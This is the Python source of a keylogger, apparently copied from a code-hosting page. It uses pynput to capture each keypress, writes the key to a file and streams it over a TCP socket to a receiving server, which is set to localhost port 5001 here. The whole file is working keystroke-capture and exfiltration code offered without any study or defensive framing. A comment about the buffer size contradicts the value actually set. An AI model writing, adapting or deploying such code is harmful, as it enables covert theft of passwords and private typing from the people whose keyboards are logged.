97 lines
2.1 KiB
Python
97 lines
2.1 KiB
Python
import socket
|
|
import os
|
|
from pynput import keyboard
|
|
|
|
|
|
|
|
SEPARATOR = "<SEPARATOR>"
|
|
BUFFER_SIZE = 128 # send 4096 bytes each time step
|
|
|
|
|
|
# the ip address or hostname of the server, the receiver
|
|
host = "127.0.0.1"
|
|
# the port, let's use 5001
|
|
port = 5001
|
|
# the name of file we want to send, make sure it exists
|
|
filename = "data.txt"
|
|
# get the file size
|
|
filesize = os.path.getsize("data.txt")
|
|
|
|
|
|
|
|
# create the client socket
|
|
s = socket.socket()
|
|
print(f"[+] Connecting to {host}:{port}")
|
|
s.connect((host, port))
|
|
print("[+] Connected.")
|
|
# send the filename and filesize
|
|
s.send(f"{filename}{SEPARATOR}{filesize}".encode())
|
|
|
|
def sendfile():
|
|
# start sending the file
|
|
with open(filename, "rb") as f:
|
|
while True:
|
|
# read the bytes from the file
|
|
bytes_read = f.read(BUFFER_SIZE)
|
|
if not bytes_read:
|
|
# file transmitting is done
|
|
break
|
|
# we use sendall to assure transimission in
|
|
# busy networks
|
|
s.sendall(bytes_read)
|
|
# close the socket
|
|
#s.close()
|
|
|
|
#-----------------------------------------------------------
|
|
|
|
|
|
def on_press(key):
|
|
|
|
if str(key) == 'Key.enter':
|
|
text_file = open("data.txt", "w")
|
|
text_file.write("\n")
|
|
text_file.close()
|
|
sendfile()
|
|
|
|
elif str(key) == 'Key.space':
|
|
text_file = open("data.txt", "w")
|
|
text_file.write(" ")
|
|
text_file.close()
|
|
sendfile()
|
|
|
|
elif str(key) == 'Key.backspace':
|
|
print("Invalid")
|
|
|
|
|
|
else:
|
|
text_file = open("data.txt", "w")
|
|
text_file.write(('{}'.format(key)).replace("'", ""))
|
|
text_file.close()
|
|
sendfile()
|
|
|
|
|
|
|
|
def on_release(key):
|
|
|
|
#print('Key {} released.'.format(key))
|
|
|
|
if str(key) == 'Key.esc':
|
|
|
|
print('Exiting...')
|
|
|
|
return False
|
|
|
|
|
|
|
|
with keyboard.Listener(
|
|
|
|
on_press = on_press,
|
|
|
|
on_release = on_release) as listener:
|
|
|
|
listener.join()
|
|
|
|
|
|
#-----------------------------------------
|
|
|